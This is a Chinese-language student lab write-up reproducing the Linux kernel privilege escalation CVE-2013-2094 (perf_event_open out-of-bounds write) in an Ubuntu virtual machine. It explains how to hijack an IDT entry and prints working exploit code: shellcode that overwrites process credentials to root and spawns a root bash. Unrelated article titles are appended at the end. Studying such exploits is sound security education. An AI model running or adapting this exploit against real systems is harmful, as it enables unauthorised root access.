CVE 2013-2094 exploit 实验笔记

  • 1. links
  • 2. 实验流程
    • 2.1 安装ubuntu64 虚拟机
    • 2.2 编译 2.6.38 内核
    • 2.3 开始exploitation
  • 3. exploitation 分析
    • 3.0 漏洞
    • 3.1 寻找目标
      • 3.1.1 如何利用越界访问
      • 3.1.2 尝试递增IDT table Gate Descriptor
    • 3.2 shellcode

这些是本人在学校的计算机系统课上做的一个exploit的复现实验,由于本人第一次接触计算机安全相关的知识,以下内容仅为本人的实验内容和个人理解。如有错误和不足之处敬请谅解。作者Joe Damato 对此漏洞已经有比较详细的讲解了。本人对于其中不易理解的部分有更进一步的解释。

1. links

2.6.38 内核下载:

Series 2.6.38 : Linux (launchpad.net)

ubuntu 10.04 64-bit:

Index of /releases/10.04.0 (ubuntu.com)

exploit代码:cve-2013-2094/rewritten_semtex.c at master · realtalk/cve-2013-2094 · GitHub

Joe Damato 的 cve介绍原文: A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094) at time to bleed by Joe Damato

看内核源码的网站:kernel 2.6.38

2. 实验流程

2.1 安装ubuntu64 虚拟机

版本:Ubuntu 10.04 64-bit

2.2 编译 2.6.38 内核

参考的教程(蛮详细的):
https://blog.csdn.net/qq_34247099/article/details/50949720
要注意检测内核是否安装成功。

2.3 开始exploitation

将exploit代码解压到一个文件夹内,cd进去

注意编译时要加O2优化:
gcc rewritten_semtex.c -O2 -o re

./re

3. exploitation 分析

3.0 漏洞

CVE 2013-2094 实际上是一个数组越界改写的漏洞。其影响范围为linux kernel 版本 2.6.37 到 3.8.9
在系统调用 “pref_event_open” 中以结构体 “perf_event_attr” 指针作为输入。

结构体成员如下:


struct perf_event_attr {__u32           type;__u32          size;__u64          config;
...
}

其中config 为一个无符号64位整数。

接下来该系统调用会依次调用两个函数"pref_swevent_init" 和 “sw_pref_event_destroy”:


其中第一个函数尝试将config输入给event_id, 如果config数值较大会导致even_id整数溢出成为负数,然后永远跳过之后的if语句。最后atomic_inc函数会导致位于pref_swevent_enabled[event_id]这个地址的值递增。 也就是说在pref_swevent_enabled数组基址之前的地址被递增。

第二个函数中evnet_id 为无符号64位类型整数,同时没有进行数组越界的检测。同样如果config的数值过大,会导致数组越界。在atomic_dec 函数中会尝试递减数组范围外的地址。

3.1 寻找目标

3.1.1 如何利用越界访问


我们可以尝试以0x0000 0000 ffff ffff 作为系统调用中config的输入。在第一个函数中event_id 会被赋值为0xffff ffff 也就是-1, 导致pref_swevent_enabled数组基址的前一位地址被递增。

同时在第二个函数中,event_id 会被赋值为0x0000 0000 ffff ffff 十进制为‭ 4294967295‬, 导致数组越界访问。
我们知道虚拟地址中内核部分为0xffff ffff 8000 00000xffff ffff ffff ffff 根据上图中的计算。atomic_dec 函数最终会导致用户空间从0x4 0000 00000x3 8000 0000的部分被递减。

举一个例子如果pref_swevent_enabled数组的基址为0xffff ffff 81c4 3d60, 根据计算递减会发生在0x3 8000 00000x3 9000 0000 之间

我们可以生成一个memory map 地址为 0x3 8000 00000x3 9000 0000 之间然后全部设值为0. 等系统调用之后根据值的变化来决定递减发生的位置。

同样在这个例子中递减会发生于 0x0000 0003 81c4 3d5c 其中offset 为 0x1c43d5c 通过offset我们便可以计算出pref_swevent_enabled数组的基址 0xffff ffff 8000 0000 + offset + 4= 0xffff ffff 81c4 3d60

根据基地址我们就可以操纵这个漏洞发生的位置了。

3.1.2 尝试递增IDT table Gate Descriptor

详细关于中断机制和IDT的介绍在此链接文本的第六章中
Intel® 64 and IA-32 Architectures Developer’s Manual: Vol. 3A
简单来说就是对于每一个Interrupt number 都有一个叫 IDT table Gate Descriptor 的数据结构来储存其相关信息,其中包括中断处理函数的虚拟地址。

如上图所示在64位的 IDT Gate Descriptor 中 offset 63…32 中既阴影部分,存储着中断处理函数的上32位。因为该函数位于内核空间,所以上32位的值为0xffff ffff 。 如果我们可以将这个值递增,该值溢出变为0, 此时中断处理函数地址会变为用户空间中,我们就可以创建memory map 来注入shellcode。


IDT Gate Descriptor table 是一个数组,它依次存储每个Interrupt number的IDT Gate Descriptor。这个IDT Gate Descriptor table 的基地址位于pref_swevent_enabled数组基址的前面。并且该地址可以在用户态以命令asm volatile ("sidt %0" : "=m" (idt)); 得到。此时我们同时知道了IDT Gate Descriptor table 和pref_swevent_enabled数组的基址。以IDT Gate Descriptor table基地址减去pref_swevent_enabled数组的基址得到一个负数,将其转化为无符号整数之后除以4(因为pref_swevent_enabled 为int类型的数组占4个字节)也就是图中的 offset/4 将该值作为系统调用的输入的话,会导致IDT Gate Descriptor table基地址处被递增。由于我们这次想改变Interrupt 4 的中断处理函数地址,所以还要加上一个0x48/4.


我们mask掉IDT Gate Descriptor table基地址的上32位和下24位,以此为基地址创建一个 0x002000000 大小的memory map。被改变的中断处理函数的地址会位于这个map中。


我们在map的末尾注入写好的shellcode,然后再其余的地方注入为NOP指令。

最后调用汇编语句完成对shellcode的调用。

3.2 shellcode


最开始的shellcode用swapgs命令修改gs寄存器从用户态切换到内核态修改运行级别。

之后运行以下代码,改变进程的uid/gid。

static void fix_idt_and_overwrite_creds() {int i, j, k;/* create a few markers which will be filled in with the* ((group id << 32) | user id) later by the exploit.*/uint64_t uids[4] = { GENERATE_MARKER(2),GENERATE_MARKER(3),GENERATE_MARKER(4),GENERATE_MARKER(5)};/* kernel stacks are usually 8192 bytes on Linux. thus, we can take the* address of a stack allocated variable and mask off a few bits to find* what is the base of the kernel stack where the thread_info struct lives.*//* current is (hopefully) pointing at the start of thread_info which contains* the current task_struct pointer.*/uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));/* the task_struct is allocated in kernel memory. grab the top 28 bits to use* as an estimate to determine if other addresses are kernel addresses* (see below).*/uint64_t kbase = ((uint64_t)current)>>36;/* This marker will eventually be replaced by the address of the upper 32-bits* of the IDT handler address we are overwiting.** Thus, the write on the following line to -1 will restore the original value* of the IDT entry which we will overwrite */uint32_t *fixptr = (void*) GENERATE_MARKER(1);*fixptr = -1;/* this for loop will search through a lot of RAM to try to locate the* credentials structure in memory and overwrite the various uids/gids* and capabilities structures.*/for (i=0; i<4000; i+=4) {/* hopefully, p is pointing at part of the current task's task_struct */uint64_t *p = (void *) &current[i];/* t is pointing at the start of the memory region p points to, which * (hopefully) is the real_creds struct in our process' task_struct** if it isn't, this outer loop continues, hopefully moving p closer to* what we are searching for.*/uint32_t *t = (void *) p[0];/* this if statement checks to see if we have found the pointer to* the credentials structure "real_cred".** to do this, the exploit checks two conditions:*   1.) p[0] != p[1] -- our process' real_cred pointer should be the same*                       as the cred pointer if we have found our process'*              task struct.**   2.) (p[0] >> 36 != kbase) -- our process' real_cred pointer must be*                                in kernel memory, somewhere if this check*                      fails, we probably found something that*                    isn't actually the real_creds pointer, but*                    is some other thing in task_struct*/if ((p[0] != p[1]) || ((p[0]>>36) != kbase))continue;/* at this point, we believe that p[0] is a pointer to real_creds, and so* t is pointing to real_creds.** we need to scan across a bunch of bytes because struct cred* has a few fields before the UID/GID field.*/for (j=0; j<20; j++) {/* there are 8 32-bit uid / gid fields that we will check* to ensure they match our process' uid / gid*/for (k = 0; k < 8; k++) {if (((uint32_t*)uids)[k] != t[j+k]) {goto next;}}/* if we've made it here, t[j] is the first 32-bit uid field* in struct cred.** this loop sets all 8 uid/gid fields to 0 (root)*/for (i = 0; i < 8; i++) {t[j+i] = 0;}/* this field sets the capability sets to -1, which enables* all capabilities (and overwrites some other fields after the * capability sets).*/for (i = 0; i < 10; i++) {t[j+9+i] = -1;}return;
next:;    }}
}

其中 GENERATE_MARKER 为一个宏,用于生成一串独一无二的字符串

#define GENERATE_MARKER(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

貌似在O2优化下,这些maker会和代码保存到同一区域,在exploit程序运行期间使用memmem指令找到地址,并且将其改成想要的值(8个uid和gid的值和被改变的idt table的地址)。

 for (j = 5; j > 0; j--) {/* generate marker values */needle = GENERATE_MARKER(j);/* find marker values in the malicious code copied to our memory* region*/p = memmem(code, 1024, &needle, 8);if (!p) {fprintf(stderr, "couldn't find the marker values (this is""bad)\n");break;}if (j > 1) {/* marker values [2 - 5] will be replaced with the* uid/gid of this process.*/*p = ((g << 32) | u);} else {/* marker value 1 will be replaced with the offset of* the IDT handler we will highjack. this address will* be used to restore the overwritten state later.*/*p = idt.addr + 0x48;}}

被改变uid/gid的进程可以运行root shell。

 if (setuid(0) != 0) {perror("setuid");exit(EXIT_FAILURE);}/** launch bash as uid 0*/return execl("/bin/bash", "-sh", NULL);

CVE 2013-2094 exploit 实验笔记相关推荐

  1. ROS实验笔记之——基于Prometheus的无人机运动规划

    本博文基于Prometheus项目来学习无人机的运动规划.关于该项目的配置可以参考<ROS实验笔记之--基于Prometheus自主无人机开源项目的学习与仿真> Demo演示 基于2D-L ...

  2. 深度学习入门教程UFLDL学习实验笔记三:主成分分析PCA与白化whitening

     深度学习入门教程UFLDL学习实验笔记三:主成分分析PCA与白化whitening 主成分分析与白化是在做深度学习训练时最常见的两种预处理的方法,主成分分析是一种我们用的很多的降维的一种手段,通 ...

  3. 深度学习入门教程UFLDL学习实验笔记一:稀疏自编码器

     深度学习入门教程UFLDL学习实验笔记一:稀疏自编码器 UFLDL即(unsupervised feature learning & deep learning).这是斯坦福网站上的一篇 ...

  4. 考oracle ocm,Oracle数据库OCM考试系列教程与总结_OCM考试实验笔记

    oracle数据库OCM考试系列教程与总结_OCM考试实验笔记 以下包括OCM考试系列的文章,在以下各章节中基本的内容都已经涉及到,在这些文章中,将对之前的OCM考试系列文章进行汇总,对一些之前没提到 ...

  5. CS144 lab4 计算机网络实验 笔记

    CS144 lab4 计算机网络实验 笔记 介绍 本实验中,我们将组合TCP sender和TCP receiver实现一个完整的TCP connection TCP是全双工连接,所以两方可以同时接收 ...

  6. 【Packet Tracer 实验笔记5】

    [测试目的] 1.拓扑配置:交换机为各个VLAN提供统一的Trunk链路实现VLAN成员的跨交换机通信 2.实验目的:了解跨交换机VLAN的内部主机之间通信机制 3.测试方法:PC3 ----ping ...

  7. Cisco VTP protocol   实验笔记

    Cisco  VTP protocol    实验笔记 实验目标: 使用vtp(vlan trunk protocol 虚拟局域网中继协议)实现交换机之间相互传递vlan信息.实现vlan的统一配置及 ...

  8. SharePoint 2013 App Development读书笔记1

    传统的Farm部署方式有一些缺点,例如运行在SharePoint环境中的自定义代码会带来安全隐患.自定义代码很多时候要提升权限来做一些事情,虽然解决了权限不够的问题,但是有带来了权限过大的问题,这个问 ...

  9. 单片机实验笔记(汇编、Proteus仿真)(下)

    接上一条单片机实验笔记(汇编.Proteus仿真) 第五节课 第五节课 内容为驱动多位数码管.和驱动一位数码管大同小异. ORG 0000H LJMP MAINORG 0100H MAIN: MOV ...

最新文章

  1. 「过拟合」也能废物利用了:有人用它高清重建3D物体表面,参数减少99%
  2. go 链路追踪_【go-micro实践】jaeger分布式链路追踪
  3. 【Linux】一步一步学Linux——dig命令(160)
  4. 树莓派python交互界面实例_树莓派综合项目2:智能小车(二)tkinter图形界面控制...
  5. java http setheader_response.setHeader各种用法详解
  6. 解决Hbase报错java.lang.IllegalStateException: The procedure WAL relies on the ability to hsync for....
  7. in use 大学英语4word_匈牙利留学 | 名校篇:罗兰大学2021英文授课项目最新招生信息...
  8. 计算机专业基础 -- 网络相关AJAX基础知识
  9. Pattern 模式器: Matcher 匹配器
  10. 计算机操作系统(第四版)学习笔记
  11. java多线程listview_Android_listview分页加载更多
  12. nx531j android版本,努比亚Z11(NX531J)安卓6.0 魅族Flyme6.7.12.29R刷机包 紫火版 20180108更新...
  13. Semi迎来重要试驾客户,特斯拉致力于将其推向市场
  14. window.open() 被拦截的问题解决
  15. 【APP自动化测试】Python + Appium + 模拟器 +UiAutomatorViewer 实现APP自动化测试
  16. win7开机卡在正在启动_手把手教你大白菜PE启动盘安装win7最详细的图解教程
  17. 哲理故事300篇 上
  18. Leviathan(全章)
  19. Linux 绑定IP
  20. 2021年电工(初级)实操考试视频及电工(初级)理论考试

热门文章

  1. 增强 扫描王 源码_OpenCV探索之路(二十二):制作一个类“全能扫描王”的简易扫描软件...
  2. Python文本情感分析实战【源码】
  3. linux 查看CPU核数
  4. MySQL之SQL语句练习
  5. 迈向更小的.NET 4-有关客户端配置文件和下载.NET的详细信息
  6. 怎么解决java.lang.NoClassDefFoundError错误 ,以及类的加载机制
  7. 关于htons和htonl
  8. 科学计数法 与 普通数字 转换
  9. 三极管工作原理分析!精辟、透彻
  10. [Vue-Treeselect Warning] Unloaded branch node detected. “loadOptions“ prop is required to load its c